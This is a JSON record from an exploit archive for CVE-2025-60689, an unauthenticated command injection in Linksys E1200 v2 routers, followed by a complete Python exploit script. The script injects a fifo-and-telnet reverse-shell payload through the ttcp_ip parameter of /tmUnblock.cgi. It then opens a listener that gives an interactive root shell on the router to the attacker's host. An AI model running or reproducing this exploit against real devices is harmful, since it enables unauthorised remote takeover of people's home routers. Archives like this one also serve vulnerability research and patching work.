{"exploit":{"id":"EDB-52660","name":"Linksys E1200_2.0.04 - Unauthenticated OS Command Injection","description":"Linksys E1200_2.0.04 - Unauthenticated OS Command Injection","cves":["CVE-2025-60689"],"author":"jarrett","published":"2026-08-31","platform":"hardware","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52660","path":"exploits/hardware/webapps/52660.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52660.py","vulnerabilities":[{"id":"CVE-2025-60689","state":"PUBLISHED","title":null,"titleSource":null,"description":"An unauthenticated command injection vulnerability exists in the Start_EPI function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The vulnerability occurs because user-supplied CGI parameters (wl_ant, wl_ssid, wl_rate, ttcp_num, ttcp_ip, ttcp_size) are concatenated into system command strings without proper sanitization and executed via wl_exec_cmd. Successful exploitation allows remote attackers to execute arbitrary commands on the device without authentication.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60689","cvss":{"version":"3.1","baseScore":5.4,"severity":"medium","vectorString":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60689"},"updatedAt":"2026-07-22T14:57:43.262Z","retrievedAt":"2026-11-25T16:13:46.975Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52660.png?v=2","url":"https://exploitbin.com/exploits/EDB-52660","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52660/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52660/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Linksys E1200_2.0.04 - Unauthenticated OS Command Injection\n# Date: 2026-07-22\n# Exploit Author: JarrettgxzSec\n# Vendor Homepage: www.linksys.com\n# Version: FW <= v2.0.04\n# Tested on: v2.0.02 & v2.0.04, directly connected to the LAN\n# CVE: CVE-2025-60689\n\n# Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60689\n\n\nimport sys\nimport socket\nimport threading\nimport time\n\nfrom urllib.parse import quote\n\nif len(sys.argv) < 4:\n    print(f\"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP> <TARGET_PORT>\")\n    print(f\"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1 8080\")\n    sys.exit(1)\n\n\nATTACKER_IP = sys.argv[1]\nTARGET_IP = sys.argv[2]\nTARGET_PORT = sys.argv[3]\nSHELL_PORT = 8888\n\n\ndef start_shell_listener():\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        s.bind(('0.0.0.0', SHELL_PORT))\n\n        print(f\"[*] Listening for shell on port {SHELL_PORT}...\")\n        s.listen(1)\n\n\n        conn, addr = s.accept()\n        print(f\"[+] Connection received from {addr[0]}\")\n\n\n        # allows interactive interaction\n        conn.setblocking(True)\n        conn.settimeout(0.5)\n\n        while True:\n\n            # send command to the router\n            cmd = input(\"# \")\n            conn.send((cmd + \"\\n\").encode())\n\n            # receive output from the router\n            try:\n                while True:\n                    # keep reading until the device stops sending\n                    chunk = conn.recv(4096).decode(errors='ignore')\n\n                    if not chunk:\n                        print(\"\\n[!] Connection closed by target.\")\n                        return\n\n                    print(chunk, end=\"\", flush=True)\n\n            # timeout decided by the conn.settimeout() method previously\n            except socket.timeout:\n                # this is expected when the device is done sending text\n                pass\n\n\ndef execute_exploit():\n   print(f\"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...\")\n\n\n   # 1. Build the payload\n   payload = \"\\nrm /tmp/f \\n\"\n   payload += \"mkfifo /tmp/f \\n\"\n   payload += \"killall httpd && httpd \\n\"\n   payload += f\"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f &\\n\"\n\n   payload = quote(f\" {payload}\")\n\n   post_data = \"submit_button=&\"\n   post_data += \"change_action=&\"\n   post_data += \"submit_type=&\"\n   post_data += \"action=&\"\n   post_data += \"commit=0&\"\n   post_data += \"ttcp_num=&\"\n   post_data += \"ttcp_size=&\"\n   post_data += f\"ttcp_ip={payload}&\"\n   post_data += \"StartEPI=1\"\n   post_data = post_data.encode()\n\n\n   # 2. Build the HTTP POST body\n   http_req = f\"POST /tmUnblock.cgi HTTP/1.1\\r\\n\"\n   http_req += f\"Host: {TARGET_IP}\\r\\n\"\n   http_req += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n   http_req += f\"Content-Length: {len(post_data)}\\r\\n\"\n   http_req += \"Connection: close\\r\\n\"\n   http_req += \"\\r\\n\"\n\n   http_req = http_req.encode() + post_data\n\n   try:\n        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n            s.settimeout(10)\n            s.connect((TARGET_IP, TARGET_PORT))\n            s.sendall(http_req)\n\n   except Exception as e:\n        print(f\"[!] Error: {e}\")\n\nif __name__ == \"__main__\":\n\n    # start the shell listener in the background\n    listener_thread = threading.Thread(target=start_shell_listener)\n    listener_thread.daemon = True\n    listener_thread.start()\n\n    # short sleep to ensure the listener is bound and ready\n    time.sleep(1)\n\n    # execute the exploit function\n    execute_exploit()\n\n    # keep main thread alive to interact with the shell\n    while listener_thread.is_alive():\n        time.sleep(1)","sha256":"eba57d6ab463770370a627f704da409f8a4f181aea114f0c4c7e2ea12eae1b13","bytes":3727,"fetchedAt":"2026-11-25T10:17:07.124Z","encoding":"utf-8 (display only; download retains original bytes)"}